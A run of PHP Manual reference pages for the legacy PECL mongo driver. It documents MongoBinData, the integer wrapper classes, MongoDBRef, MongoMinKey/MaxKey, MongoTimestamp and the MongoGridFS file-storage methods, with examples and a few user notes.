The maximum size of a single object that can be inserted into the database is 16MB. For data that is larger than this (movies, music, Henry Kissinger's autobiography), use MongoGridFS. For data that is smaller than 16MB, you may find it easier to embed it within the document using MongoBinData.

For example, to embed an image in a document, one could write:

<?php

$profile = array(
    "username" => "foobity",
    "pic" => new MongoBinData(file_get_contents("gravatar.jpg"), MongoBinData::GENERIC),
);

$users->save($profile);

?>

This class contains a type field, which currently gives no additional functionality in the PHP driver or the database. There are seven predefined types, which are defined as class constants below. For backwards compatibility, the PHP driver uses MongoBinData::BYTE_ARRAY as the default; however, this may change to MongoBinData::GENERIC in the future. Users are encouraged to specify a type in MongoBinData::__construct().

Class synopsis

MongoBinData {
/* Constants */
const int GENERIC = 0 ;
const int FUNC = 1 ;
const int BYTE_ARRAY = 2 ;
const int UUID = 3 ;
const int UUID_RFC4122 = 4 ;
const int MD5 = 5 ;
const int CUSTOM = 128 ;
/* Fields */
public string $bin ;
public int $type = 2 ;
/* Methods */
public __construct ( string $data [, int $type = 0 ] )
public string __toString ( void )
}

Predefined Constants

Binary Data Types

MongoBinData::GENERIC
0x00
Generic binary data.
MongoBinData::FUNC
0x01
Function.
MongoBinData::BYTE_ARRAY
0x02
Generic binary data (deprecated in favor of MongoBinData::GENERIC).
MongoBinData::UUID
0x03
Universally unique identifier (deprecated in favor of MongoBinData::UUID_RFC4122).
MongoBinData::UUID_RFC4122
0x04
Universally unique identifier (according to » RFC 4122).
MongoBinData::MD5
0x05
MD5.
MongoBinData::CUSTOM
0x80
User-defined type.

Changelog

Version | Description
1.5.0 | Added MongoBinData::GENERIC and MongoBinData::UUID_RFC4122 constants.

Table of Contents

  • MongoBinData::__construct — Creates a new binary data object.
  • MongoBinData::__toString — The string representation of this binary data object.

User Contributed Notes

sander at steffann dot nl 28-May-2010 01:04
Note MongoBinData::CUSTOM has value 0x80, not 0xf0


Creates a new binary data object.

  • « MongoBinData
  • MongoBinData::__toString »
  • PHP Manual
  • MongoBinData
  • Creates a new binary data object.

MongoBinData::__construct

(PECL mongo >= 0.8.1)

MongoBinData::__construct — Creates a new binary data object.

Description

public MongoBinData::__construct ( string $data [, int $type = 0 ] )

Creates a new binary data object.

There are seven types of binary data currently recognized by the BSON spec, which are defined as class constants. For backwards compatibility, the PHP driver uses MongoBinData::BYTE_ARRAY as the default; however, this may change to MongoBinData::GENERIC in the future. Users are encouraged to specify a type instead of relying on the default.

Parameters

data

Binary data.

type

Data type.

Return Values

Returns a new binary data object.

Changelog

Version | Description
1.5.0 | The default changed from 2 (MongoBinData::BYTE_ARRAY) to 0 (MongoBinData::GENERIC).
1.2.11 | Emits E_DEPRECATED when the second argument is not used. The default value for type may change in the near future.

User Contributed Notes

There are no user contributed notes for this page.


The string representation of this binary data object.

  • « MongoBinData::__construct
  • MongoInt32 »
  • PHP Manual
  • MongoBinData
  • The string representation of this binary data object.

MongoBinData::__toString

(PECL mongo >= 0.8.1)

MongoBinData::__toString — The string representation of this binary data object.

Description

public string MongoBinData::__toString ( void )

Parameters

This function has no parameters.

Return Values

Returns the string "<Mongo Binary Data>". To access the contents of a MongoBinData, use the bin field.

User Contributed Notes

There are no user contributed notes for this page.


The MongoInt32 class

(PECL mongo >=1.0.9)

Introduction

The class can be used to save 32-bit integers to the database on a 64-bit system.

Class synopsis

MongoInt32 {
/* Fields */
public string $value ;
/* Methods */
public __construct ( string $value )
public string __toString ( void )
}

Fields

value
This is the string value of the 32-bit number. For instance, 123's value would be "123".

Table of Contents

  • MongoInt32::__construct — Creates a new 32-bit integer.
  • MongoInt32::__toString — Returns the string representation of this 32-bit integer.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new 32-bit integer.

  • « MongoInt32
  • MongoInt32::__toString »
  • PHP Manual
  • MongoInt32
  • Creates a new 32-bit integer.

MongoInt32::__construct

(PECL mongo >= 1.0.9)

MongoInt32::__construct — Creates a new 32-bit integer.

Description

public MongoInt32::__construct ( string $value )

Creates a new 32-bit number with the given value.

Parameters

value

A number.

Return Values

Returns a new integer.

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this 32-bit integer.

  • « MongoInt32::__construct
  • MongoInt64 »
  • PHP Manual
  • MongoInt32
  • Returns the string representation of this 32-bit integer.

MongoInt32::__toString

(PECL mongo >= 1.0.9)

MongoInt32::__toString — Returns the string representation of this 32-bit integer.

Description

public string MongoInt32::__toString ( void )

Parameters

This function has no parameters.

Return Values

Returns the string representation of this integer.

User Contributed Notes

There are no user contributed notes for this page.


The MongoInt64 class

(PECL mongo >=1.0.9)

Introduction

The class can be used to save 64-bit integers to the database on a 32-bit system.

Class synopsis

MongoInt64 {
/* Fields */
public string $value ;
/* Methods */
public __construct ( string $value )
public string __toString ( void )
}

Fields

value
This is the string value of the 64-bit number. For instance, 123's value would be "123".

Table of Contents

  • MongoInt64::__construct — Creates a new 64-bit integer.
  • MongoInt64::__toString — Returns the string representation of this 64-bit integer.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new 64-bit integer.

  • « MongoInt64
  • MongoInt64::__toString »
  • PHP Manual
  • MongoInt64
  • Creates a new 64-bit integer.

MongoInt64::__construct

(PECL mongo >= 1.0.9)

MongoInt64::__construct — Creates a new 64-bit integer.

Description

public MongoInt64::__construct ( string $value )

Creates a new 64-bit number with the given value.

Parameters

value

A number.

Return Values

Returns a new integer.

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this 64-bit integer.

  • « MongoInt64::__construct
  • MongoDBRef »
  • PHP Manual
  • MongoInt64
  • Returns the string representation of this 64-bit integer.

MongoInt64::__toString

(PECL mongo >= 1.0.9)

MongoInt64::__toString — Returns the string representation of this 64-bit integer.

Description

public string MongoInt64::__toString ( void )

Parameters

This function has no parameters.

Return Values

Returns the string representation of this integer.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDBRef class

(PECL mongo >=0.9.0)

Introduction

This class can be used to create lightweight links between objects in different collections.

Motivation: Suppose we need to refer to a document in another collection. The easiest way is to create a field in the current document. For example, if we had a "people" collection and an "addresses" collection, we might want to create a link between each person document and an address document:

Example #1 Linking documents

<?php

$people = $db->people;
$addresses = $db->addresses;

$myAddress = array("line 1" => "123 Main Street",
    "line 2" => null,
    "city" => "Springfield",
    "state" => "Vermont",
    "country" => "USA");

// save the address
$addresses->insert($myAddress);

// save a person with a reference to the address
$me = array("name" => "Fred", "address" => $myAddress['_id']);
$people->insert($me);

?>

Then, later on, we can find the person's address by querying the "addresses" collection with the MongoId we saved in the "people" collection.

Suppose now that we have a more general case, where we don't know which collection (or even which database) contains the referenced document. MongoDBRef is a good choice for this case, as it is a common format that all of the drivers and the database understand.

If each person had a list of things they liked which could come from multiple collections, such as "hobbies", "sports", "books", etc., we could use MongoDBRefs to keep track of what "like" went with what collection:

Example #2 Creating MongoDBRef links

<?php

$people = $db->selectCollection("people");

// model trains are in the "hobbies" collection
$trainRef = MongoDBRef::create("hobbies", $modelTrains['_id']);
// soccer is in the "sports" collection
$soccerRef = MongoDBRef::create("sports", $soccer['_id']);

// now we'll know what collections the items in the "likes" array came from when
// we retrieve this document
$people->insert(array("name" => "Fred", "likes" => array($trainRef, $soccerRef)));

?>

Database references can be thought of as hyperlinks: they give the unique address of another document, but they do not load it or automatically follow the link/reference.

A database reference is just a normal associative array, not an instance of MongoDBRef, so this class is a little different than the other data type classes. This class contains exclusively static methods for manipulating database references.

Class synopsis

MongoDBRef {
/* Methods */
public static array create ( string $collection , mixed $id [, string $database ] )
public static array get ( MongoDB $db , array $ref )
public static bool isRef ( mixed $ref )
}

See Also

MongoDB core docs on » databases references.

Table of Contents

  • MongoDBRef::create — Creates a new database reference
  • MongoDBRef::get — Fetches the object pointed to by a reference
  • MongoDBRef::isRef — Checks if an array is a database reference

User Contributed Notes

jaimz at vertigolabs dot org 06-Sep-2013 04:25
While you can create a DBRef object for a GridFS document, you CAN NOT load a document from GridFS using a DBRef.

This is dependent on the driver, not MongoDB.


Creates a new database reference

  • « MongoDBRef
  • MongoDBRef::get »
  • PHP Manual
  • MongoDBRef
  • Creates a new database reference

MongoDBRef::create

(PECL mongo >= 0.9.0)

MongoDBRef::create — Creates a new database reference

Description

public static array MongoDBRef::create ( string $collection , mixed $id [, string $database ] )

If no database is given, the current database is used.

Parameters

collection

Collection name (without the database name).

id

The _id field of the object to which to link.

database

Database name.

Return Values

Returns the reference.

Examples

Example #1 MongoDBRef::create() example

This creates a database reference to a document in the addresses collection. The MongoCollection::getName() function returns the name of the collection (not including the database name).

<?php
$addresses = $db->addresses;
$people = $db->people;

// save $address so it has an _id
$addresses->insert($address);

// create a reference
$ref = MongoDBRef::create($addresses->getName(), $address['_id']);

// set the field in $person
$person['address'] = $ref;
$people->save($person);
?>

See Also

  • MongoDB::createDBRef() - Creates a database reference
  • MongoCollection::createDBRef() - Creates a database reference

User Contributed Notes

There are no user contributed notes for this page.


Fetches the object pointed to by a reference

  • « MongoDBRef::create
  • MongoDBRef::isRef »
  • PHP Manual
  • MongoDBRef
  • Fetches the object pointed to by a reference

MongoDBRef::get

(PECL mongo >= 0.9.0)

MongoDBRef::get — Fetches the object pointed to by a reference

Description

public static array MongoDBRef::get ( MongoDB $db , array $ref )

Parameters

db

Database to use.

ref

Reference to fetch.

Return Values

Returns the document to which the reference refers or NULL if the document does not exist (the reference is broken).

Examples

Example #1 MongoCollection::createDBRef() example

<?php

// get $person out of the db
$person = $people->findOne();

// dereference the address
$address = MongoDBRef::get($people->db, $person['address']);

?>

See Also

  • MongoDB::getDBRef() - Fetches the document pointed to by a database reference
  • MongoCollection::getDBRef() - Fetches the document pointed to by a database reference

User Contributed Notes

There are no user contributed notes for this page.


Checks if an array is a database reference

  • « MongoDBRef::get
  • MongoMinKey »
  • PHP Manual
  • MongoDBRef
  • Checks if an array is a database reference

MongoDBRef::isRef

(PECL mongo >= 0.9.0)

MongoDBRef::isRef — Checks if an array is a database reference

Description

public static bool MongoDBRef::isRef ( mixed $ref )

This method does not actually follow the reference, so it does not determine if it is broken or not. It merely checks that ref is in valid database reference format (in that it is an object or array with $ref and $id fields).

Parameters

ref

Array or object to check.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


The MongoMinKey class

(PECL mongo >= 1.0.2)

Introduction

MongoMinKey is a special type used by the database that evaluates to less than any other type. Thus, if a query is sorted by a given field in ascending order, any document with a MongoMinKey as its value will be returned first.

MongoMinKey has no associated fields, methods, or constants. It is merely the "smallest" thing that can be inserted into the database.

Class synopsis

MongoMinKey {
}

Using MongoMinKey as a value

<?php

$collection->insert(array("task" => "lunch", "do by" => new MongoMinKey));
$collection->insert(array("task" => "staff meeting", "do by" => new MongoDate(strtotime("+4 days"))));

$cursor = $collection->find()->sort(array("do by" => 1));

?>

The cursor will contain the lunch document, then the staff meeting document. The lunch document will always be returned first, regardless of what else is added to the collection (unless other documents are added with MongoMinKey in the "do by" field).

User Contributed Notes

There are no user contributed notes for this page.


The MongoMaxKey class

(PECL mongo >= 1.0.2)

Introduction

MongoMaxKey is a special type used by the database that evaluates to greater than any other type. Thus, if a query is sorted by a given field in ascending order, any document with a MongoMaxKey as its value will be returned last.

MongoMaxKey has no associated fields, methods, or constants. It is merely the "largest" thing that can be inserted into the database.

Class synopsis

MongoMaxKey {
}

Using MongoMaxKey as a value

<?php

$collection->insert(array("task" => "dishes", "do by" => new MongoMaxKey));
$collection->insert(array("task" => "staff meeting", "do by" => new MongoDate(strtotime("+4 days"))));

$cursor = $collection->find()->sort(array("do by" => 1));

?>

The cursor will contain the staff meeting document, then the dishes document. The dishes document will always be returned last, regardless of what else is added to the collection (unless other documents are added with MongoMaxKey in the "do by" field).

User Contributed Notes

There are no user contributed notes for this page.


The MongoTimestamp class

(PECL mongo >=1.0.1)

Introduction

MongoTimestamp is used by sharding. If you're not looking to write sharding tools, what you probably want is MongoDate.

MongoTimestamp is 4 bytes of timestamp (seconds since the epoch) and 4 bytes of increment.

This class is not for measuring time, creating a timestamp on a document or automatically adding or updating a timestamp on a document. Unless you are writing something that interacts with the sharding internals, stop, go directly to MongoDate, do not pass go, do not collect 200 dollars. This is not the class you are looking for.

If you are writing sharding tools, read on.

Class synopsis

MongoTimestamp {
/* Fields */
public int $sec = 0 ;
public int $inc = 0 ;
/* Methods */
public __construct ([ int $sec = time() [, int $inc ]] )
public string __toString ( void )
}

Table of Contents

  • MongoTimestamp::__construct — Creates a new timestamp.
  • MongoTimestamp::__toString — Returns a string representation of this timestamp

User Contributed Notes

There are no user contributed notes for this page.


Creates a new timestamp.

  • « MongoTimestamp
  • MongoTimestamp::__toString »
  • PHP Manual
  • MongoTimestamp
  • Creates a new timestamp.

MongoTimestamp::__construct

(PECL mongo >= 1.0.1)

MongoTimestamp::__construct — Creates a new timestamp.

Description

public MongoTimestamp::__construct ([ int $sec = time() [, int $inc ]] )

Creates a new timestamp. If no parameters are given, the current time is used and the increment is automatically provided. The increment is set to 0 when the module is loaded and is incremented every time this constructor is called (without the $inc parameter passed in).

Parameters

sec

Number of seconds since January 1st, 1970.

inc

Increment.

Return Values

Returns this new timestamp.

See Also

  • MongoTimestamp::__toString() - Returns a string representation of this timestamp

User Contributed Notes

There are no user contributed notes for this page.


Returns a string representation of this timestamp

  • « MongoTimestamp::__construct
  • GridFS Classes »
  • PHP Manual
  • MongoTimestamp
  • Returns a string representation of this timestamp

MongoTimestamp::__toString

(PECL mongo >= 1.0.1)

MongoTimestamp::__toString — Returns a string representation of this timestamp

Description

public string MongoTimestamp::__toString ( void )

Returns the "sec" field of this timestamp.

Parameters

This function has no parameters.

Return Values

The seconds since epoch represented by this timestamp.

User Contributed Notes

There are no user contributed notes for this page.


GridFS Classes

Table of Contents

  • MongoGridFS
  • MongoGridFSFile
  • MongoGridFSCursor

User Contributed Notes

There are no user contributed notes for this page.


The MongoGridFS class

(PECL mongo >=0.9.0)

Introduction

Utilities for storing and retrieving files from the database.

GridFS is a storage specification all supported drivers implement. Basically, it defines two collections: files, for file metadata, and chunks, for file content. If the file is large, it will automatically be split into smaller chunks and each chunk will be saved as a document in the chunks collection.

Each document in the files collection contains the filename, upload date, and md5 hash. It also contains a unique _id field, which can be used to query the chunks collection for the file's content. Each document in the chunks collection contains a chunk of binary data, a files_id field that matches its file's _id, and the position of this chunk in the overall file.

For example, the files document is something like:

<?php
array("_id" => 123456789, "filename" => "foo.txt", "chunkSize" => 3, "length" => 12);
?>
and the chunks documents look like:
<?php
array("files_id" => 123456789, "n" => 0, "data" => new MongoBinData("abc"));
array("files_id" => 123456789, "n" => 1, "data" => new MongoBinData("def"));
array("files_id" => 123456789, "n" => 2, "data" => new MongoBinData("ghi"));
array("files_id" => 123456789, "n" => 3, "data" => new MongoBinData("jkl"));
?>
Of course, the default chunk size is thousands of bytes, but that makes an unwieldy example.

Inter-Language Compatibility

You should be able to use any files created by MongoGridFS with any other drivers, and vice versa. However, some drivers expect that all metadata associated with a file be in a "metadata" field. If you're going to be using other languages, it's a good idea to wrap info you might want them to see in a "metadata" field. For example, instead of:

<?php

$grid->storeFile("somefile.txt", array("date" => new MongoDate()));

?>

use something like:

<?php

$grid->storeFile("somefile.txt", array("metadata" => array("date" => new MongoDate())));

?>

The MongoGridFS Family

MongoGridFS represents the files and chunks collections. MongoGridFS extends MongoCollection, and an instance of MongoGridFS has access to all of MongoCollection methods, which act on the files collection:

<?php

$grid = $db->getGridFS();
$grid->update(array("filename" => "foo"), $newObj); // update on the files collection

?>

Another example of manipulating metadata:

<?php

// save a file
$id = $grid->storeFile("game.tgz");
$game = $grid->findOne();

// add a downloads counter
$game->file['downloads'] = 0;
$grid->save($game->file);

// increment the counter
$grid->update(array("_id" => $id), array('$inc' => array("downloads" => 1)));

?>

You can also access the chunks collection from an instance of MongoGridFS:

<?php

  $chunks = $grid->chunks; // $chunks is a normal MongoCollection
$chunks->insert(array("x" => 4));

?>

There are some methods for MongoGridFS with the same name as MongoCollection methods, that behave slightly differently. For example, MongoGridFS::remove() will remove any objects that match the criteria from the files collection and their content from the chunks collection.

To store something new in GridFS, there are a couple options. If you have a filename, you can say:

<?php

$grid->storeFile($filename, array("whatever" => "metadata", "you" => "want"));

?>

If you have a string of bytes that isn't a file, you can also store that using MongoGridFS::storeBytes():

<?php

$grid->storeBytes($bytes, array("whatever" => "metadata", "you" => "want"));

?>

Querying a MongoGridFS collection returns a MongoGridFSCursor, which behaves like a normal MongoCursor except that it returns MongoGridFSFiles instead of associative arrays.

MongoGridFSFiles can be written back to disc using MongoGridFSFile::write() or retrieved in memory using MongoGridFSFile::getBytes(). There is currently no method that automatically streams chunks, but it would be fairly easy to write by querying the $grid->chunks collection.

MongoGridFSFile objects contain a field file which contains any file metadata.

Class synopsis

extends MongoCollection {
/* Fields */
public MongoCollection $chunks = NULL ;
protected string $filesName = NULL ;
protected string $chunksName = NULL ;
/* Methods */
public __construct ( MongoDB $db [, string $prefix = "fs" [, mixed $chunks = "fs" ]] )
public bool|array delete ( mixed $id )
public array drop ( void )
public MongoGridFSCursor find ([ array $query = array() [, array $fields = array() ]] )
public MongoGridFSFile findOne ([ mixed $query = array() [, mixed $fields = array() ]] )
public MongoGridFSFile get ( mixed $id )
public mixed put ( string $filename [, array $metadata = array() [, array $options = array() ]] )
public bool|array remove ([ array $criteria = array() [, array $options = array() ]] )
public mixed storeBytes ( string $bytes [, array $metadata = array() [, array $options = array() ]] )
public mixed storeFile ( string $filename [, array $metadata = array() [, array $options = array() ]] )
public mixed storeUpload ( string $name [, array $metadata ] )
}

See Also

  • MongoDB core docs on » GridFS
  • LightCube Solutions blog post on » saving user uploads
  • LightCube Solutions blog post on » adding metadata to files

Table of Contents

  • MongoGridFS::__construct — Creates new file collections
  • MongoGridFS::delete — Remove a file and its chunks from the database
  • MongoGridFS::drop — Drops the files and chunks collections
  • MongoGridFS::find — Queries for files
  • MongoGridFS::findOne — Returns a single file matching the criteria
  • MongoGridFS::get — Retrieve a file from the database
  • MongoGridFS::put — Stores a file in the database
  • MongoGridFS::remove — Remove files and their chunks from the database
  • MongoGridFS::storeBytes — Stores a string of bytes in the database
  • MongoGridFS::storeFile — Stores a file in the database
  • MongoGridFS::storeUpload — Stores an uploaded file in the database

User Contributed Notes

There are no user contributed notes for this page.


Creates new file collections

  • « MongoGridFS
  • MongoGridFS::delete »
  • PHP Manual
  • MongoGridFS
  • Creates new file collections

MongoGridFS::__construct

(PECL mongo >=0.9.0)

MongoGridFS::__construct — Creates new file collections

Description

public MongoGridFS::__construct ( MongoDB $db [, string $prefix = "fs" [, mixed $chunks = "fs" ]] )

Files as stored across two collections, the first containing file meta information, the second containing chunks of the actual file. By default, fs.files and fs.chunks are the collection names used.

Use one argument to specify a prefix other than "fs":

$fs = new MongoGridFS($db, "myfiles");
uses myfiles.files and myfiles.chunks collections.

Parameters

db

Database.

files

Optional collection name prefix.

User Contributed Notes

There are no user contributed notes for this page.


Remove a file and its chunks from the database

  • « MongoGridFS::__construct
  • MongoGridFS::drop »
  • PHP Manual
  • MongoGridFS
  • Remove a file and its chunks from the database

MongoGridFS::delete

(PECL mongo >=1.0.8)

MongoGridFS::delete — Remove a file and its chunks from the database

Description

public bool|array MongoGridFS::delete ( mixed $id )

Note:

MongoGridFS::delete() is a convenience method for calling MongoGridFS::remove() with specific criteria and default options parameters.

Parameters

id

_id of the file to remove.

Return Values

Returns an array containing the status of the removal (with respect to the files collection) if a write concern is applied. Otherwise, returns TRUE.

Fields in the status array are described in the documentation for MongoCollection::insert().

Errors/Exceptions

Throws MongoCursorException if the "w" option is set and the write fails.

Throws MongoCursorTimeoutException if the "w" option is set to a value greater than one and the operation takes longer than MongoCursor::$timeout milliseconds to complete. This does not kill the operation on the server, it is a client-side timeout. The operation in MongoCollection::$wtimeout is milliseconds.

User Contributed Notes

mshallop+php-at-gmail-dot-com 24-Jul-2014 10:09
Doc doesn't explicitly state what is returned.

Returns an array:

{
  n => {integer value}  (number of records deleted),
  connectionID => { integer value }
  err => null or error text/code
  ok => 1 or 0
}

Sample output:

{ n : 1, connectionID : 33132, err : null, ok : 1 }


Drops the files and chunks collections

  • « MongoGridFS::delete
  • MongoGridFS::find »
  • PHP Manual
  • MongoGridFS
  • Drops the files and chunks collections

MongoGridFS::drop

(PECL mongo >=0.9.0)

MongoGridFS::drop — Drops the files and chunks collections

Description

public array MongoGridFS::drop ( void )

Parameters

This function has no parameters.

Return Values

The database response.

User Contributed Notes

There are no user contributed notes for this page.


Queries for files

  • « MongoGridFS::drop
  • MongoGridFS::findOne »
  • PHP Manual
  • MongoGridFS
  • Queries for files

MongoGridFS::find

(PECL mongo >=0.9.0)

MongoGridFS::find — Queries for files

Description

 public MongoGridFSCursor MongoGridFS::find
  ([ array $query = array()
 [, array $fields = array()
]] )

Parameters

query

The query.

fields

Fields to return.

Return Values

A MongoGridFSCursor.

User Contributed Notes

There are no user contributed notes for this page.


Returns a single file matching the criteria

  • « MongoGridFS::find
  • MongoGridFS::get »
  • PHP Manual
  • MongoGridFS
  • Returns a single file matching the criteria

MongoGridFS::findOne

(PECL mongo >=0.9.0)

MongoGridFS::findOne — Returns a single file matching the criteria

Description

 public MongoGridFSFile MongoGridFS::findOne
  ([ mixed $query = array()
 [, mixed $fields = array()
]] )

Parameters

query

The filename or criteria for which to search.

Return Values

Returns a MongoGridFSFile or NULL.

Examples

Example #1 MongoGridFS::findOne() example

Example demonstrating how to find a single file from the MongoGridFS.

<?php

$downloads = $mongo->my_db->getGridFS('downloads');

$downloads->storeFile('filename.tgz');

$download = $downloads->findOne('filename.tgz'); // instance of MongoGridFSFile

print_r($download);
?>

See MongoGridFSFile for more information about how to work with files.

The above example will output something similar to:

MongoGridFSFile Object
(
    [file] => Array
        (
            [_id] => MongoId Object
                (
                )

            [filename] => filename.tgz
            [uploadDate] => MongoDate Object
                (
                    [sec] => 1274288014
                    [usec] => 467000
                )

            [chunkSize] => 262144
            [md5] => d41d8cd98f00b204e9800998ecf8427e
        )

    [gridfs:protected] => MongoGridFS Object
        (
            [chunks] => MongoCollection Object
                (
                )

            [filesName:protected] => downloads.files
            [chunksName:protected] => downloads.chunks
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Retrieve a file from the database

  • « MongoGridFS::findOne
  • MongoGridFS::put »
  • PHP Manual
  • MongoGridFS
  • Retrieve a file from the database

MongoGridFS::get

(PECL mongo >=1.0.8)

MongoGridFS::get — Retrieve a file from the database

Description

public MongoGridFSFile MongoGridFS::get ( mixed $id )

Parameters

id

_id of the file to find.

Return Values

Returns the file, if found, or NULL.

User Contributed Notes

There are no user contributed notes for this page.


Stores a file in the database

  • « MongoGridFS::get
  • MongoGridFS::remove »
  • PHP Manual
  • MongoGridFS
  • Stores a file in the database

MongoGridFS::put

(PECL mongo >=1.0.8)

MongoGridFS::put — Stores a file in the database

Description

public mixed MongoGridFS::put ( string $filename [, array $metadata = array() [, array $options = array() ]] )

Note:

MongoGridFS::put() is an alias of MongoGridFS::storeFile().

Parameters

filename

Name of the file to store.

metadata

Other metadata fields to include in the file document.

Note:

These fields may also overwrite those that would be created automatically by the driver, as described in the MongoDB core documentation for the » files collection. Some practical use cases for this behavior would be to specify a custom chunkSize or _id for the file.

options

An array of options for the insert operations executed against the chunks and files collections. See MongoCollection::insert() for documentation on these these options.

Return Values

Returns the _id of the saved file document. This will be a generated MongoId unless an _id was explicitly specified in the metadata parameter.

Errors/Exceptions

Throws MongoGridFSException if there is an error reading filename or inserting into the chunks or files collections.

See Also

  • MongoGridFS::storeBytes() - Stores a string of bytes in the database
  • MongoGridFS::storeFile() - Stores a file in the database
  • MongoGridFS::storeUpload() - Stores an uploaded file in the database
  • MongoDB core docs on » GridFS

User Contributed Notes

There are no user contributed notes for this page.


Remove files and their chunks from the database

  • « MongoGridFS::put
  • MongoGridFS::storeBytes »
  • PHP Manual
  • MongoGridFS
  • Remove files and their chunks from the database

MongoGridFS::remove

(PECL mongo >=0.9.0)

MongoGridFS::remove — Remove files and their chunks from the database

Description

 public bool|array MongoGridFS::remove
  ([ array $criteria = array()
 [, array $options = array()
]] )

Parameters

criteria

The filename or criteria for which to search.

options

An array of options for the remove operations executed against the chunks and files collections. See MongoCollection::remove() for documentation on these options.

Return Values

Returns an array containing the status of the removal (with respect to the files collection) if the "w" option is set. Otherwise, returns TRUE.

Fields in the status array are described in the documentation for MongoCollection::insert().

Errors/Exceptions

Throws MongoCursorException if the "w" option is set and the write fails.

Throws MongoCursorTimeoutException if the "w" option is set to a value greater than one and the operation takes longer than MongoCursor::$timeout milliseconds to complete. This does not kill the operation on the server, it is a client-side timeout. The operation in MongoCollection::$wtimeout is milliseconds.

User Contributed Notes

fhagard at lightcube dot us 08-Apr-2010 03:58
To ensure that a remove occurred successfully use MongoDB::lastError(). Currently MongoGridFS::remove will return even if the remove failed.


Stores a string of bytes in the database

  • « MongoGridFS::remove
  • MongoGridFS::storeFile »
  • PHP Manual
  • MongoGridFS
  • Stores a string of bytes in the database

MongoGridFS::storeBytes

(PECL mongo >=0.9.2)

MongoGridFS::storeBytes — Stores a string of bytes in the database

Description

public mixed MongoGridFS::storeBytes ( string $bytes [, array $metadata = array() [, array $options = array() ]] )

Parameters

bytes

String of bytes to store.

metadata

Other metadata fields to include in the file document.

Note:

These fields may also overwrite those that would be created automatically by the driver, as described in the MongoDB core documentation for the » files collection. Some practical use cases for this behavior would be to specify a custom chunkSize or _id for the file.

options

An array of options for the insert operations executed against the chunks and files collections. See MongoCollection::insert() for documentation on these these options.

Return Values

Returns the _id of the saved file document. This will be a generated MongoId unless an _id was explicitly specified in the metadata parameter.

Errors/Exceptions

Throws MongoGridFSException if there is an error inserting into the chunks or files collections.

Examples

Example #1 MongoGridFS::storeBytes() with additional metadata

<?php
$m = new MongoClient();
$gridfs = $m->selectDB('test')->getGridFS();

$bytes = 'abcdefghijklmnopqrstuvwxyz';
$id = $gridfs->storeBytes($bytes, array('_id' => 'alphabet'));
$gridfsFile = $gridfs->get($id);

var_dump($gridfsFile->file);
?>

The above example will output something similar to:

array(7) {
  ["_id"]=>
  string(8) "alphabet"
  ["uploadDate"]=>
  object(MongoDate)#7 (0) {
  }
  ["length"]=>
  int(26)
  ["chunkSize"]=>
  int(262144)
  ["md5"]=>
  string(32) "c3fcd3d76192e4007dfb496cca67e13b"
}

See Also

  • MongoGridFS::put() - Stores a file in the database
  • MongoGridFS::storeFile() - Stores a file in the database
  • MongoGridFS::storeUpload() - Stores an uploaded file in the database
  • MongoDB core docs on » GridFS

User Contributed Notes

There are no user contributed notes for this page.


Stores a file in the database

  • « MongoGridFS::storeBytes
  • MongoGridFS::storeUpload »
  • PHP Manual
  • MongoGridFS
  • Stores a file in the database

MongoGridFS::storeFile

(PECL mongo >=0.9.0)

MongoGridFS::storeFile — Stores a file in the database

Description

public mixed MongoGridFS::storeFile ( string $filename [, array $metadata = array() [, array $options = array() ]] )

Parameters

filename

Name of the file to store.

metadata

Other metadata fields to include in the file document.

Note:

These fields may also overwrite those that would be created automatically by the driver, as described in the MongoDB core documentation for the » files collection. Some practical use cases for this behavior would be to specify a custom chunkSize or _id for the file.

options

An array of options for the insert operations executed against the chunks and files collections. See MongoCollection::insert() for documentation on these these options.

Return Values

Returns the _id of the saved file document. This will be a generated MongoId unless an _id was explicitly specified in the metadata parameter.

Errors/Exceptions

Throws MongoGridFSException if there is an error reading filename or inserting into the chunks or files collections.

Examples

Example #1 MongoGridFS::storeFile() with additional metadata

<?php
$m = new MongoClient();
$gridfs = $m->selectDB('test')->getGridFS();

$id = $gridfs->storeFile('example.txt', array('contentType' => 'plain/text'));
$gridfsFile = $gridfs->get($id);

var_dump($gridfsFile->file);
?>

The above example will output something similar to:

array(7) {
  ["_id"]=>
  object(MongoId)#6 (0) {
  }
  ["contentType"]=>
  string(10) "plain/text"
  ["filename"]=>
  string(11) "example.txt"
  ["uploadDate"]=>
  object(MongoDate)#7 (0) {
  }
  ["length"]=>
  int(26)
  ["chunkSize"]=>
  int(262144)
  ["md5"]=>
  string(32) "c3fcd3d76192e4007dfb496cca67e13b"
}

See Also

  • MongoGridFS::put() - Stores a file in the database
  • MongoGridFS::storeBytes() - Stores a string of bytes in the database
  • MongoGridFS::storeUpload() - Stores an uploaded file in the database
  • MongoDB core docs on » GridFS

User Contributed Notes

mike at eastghost dot com 16-Feb-2012 10:50
Pass

$options['safe'] = true;

to make Mongo slow down and do inserts sequentially instead of in parallel.

Use case:

I had 274 PDF documents stored on ext3 disk (avg. size was 5MB, none over 20MB)

A PHP loop loaded each PDF, then did a $GridFS->storeFile( $data, $meta );

This caused server to spike from load average of 0.2 to over 20.0

Apparently what was happening is the loop slammed Mongo (then memory, disk) with 274 convert/stores to do all at once.

Adding

$GridFS->storeFile( $data, $meta, array( 'safe' => true ) );

made the loop slow down and wait for each insert to finish and be confirmed before going on to next PDF.

Moral: Safe option can be used to maintain sanity and is not always just for data validity.


Stores an uploaded file in the database

  • « MongoGridFS::storeFile
  • MongoGridFSFile »
  • PHP Manual
  • MongoGridFS
  • Stores an uploaded file in the database

MongoGridFS::storeUpload

(PECL mongo >=0.9.0)

MongoGridFS::storeUpload — Stores an uploaded file in the database

Description

public mixed MongoGridFS::storeUpload ( string $name [, array $metadata ] )

Parameters

name

The name of the uploaded file(s) to store. This should correspond to the file field's name attribute in the HTML form.

metadata

Other metadata fields to include in the file document.

Note:

These fields may also overwrite those that would be created automatically by the driver, as described in the MongoDB core documentation for the » files collection. Some practical use cases for this behavior would be to specify a custom chunkSize or _id for the file.

Note:

The filename field will be populated with the client's filename (e.g. $_FILES['foo']['name']).

Return Values

Returns the _id of the saved file document. This will be a generated MongoId unless an _id was explicitly specified in the metadata parameter.

Note:

If multiple files are uploaded using the same field name, this method will not return anything; however, the files themselves will still be processed.

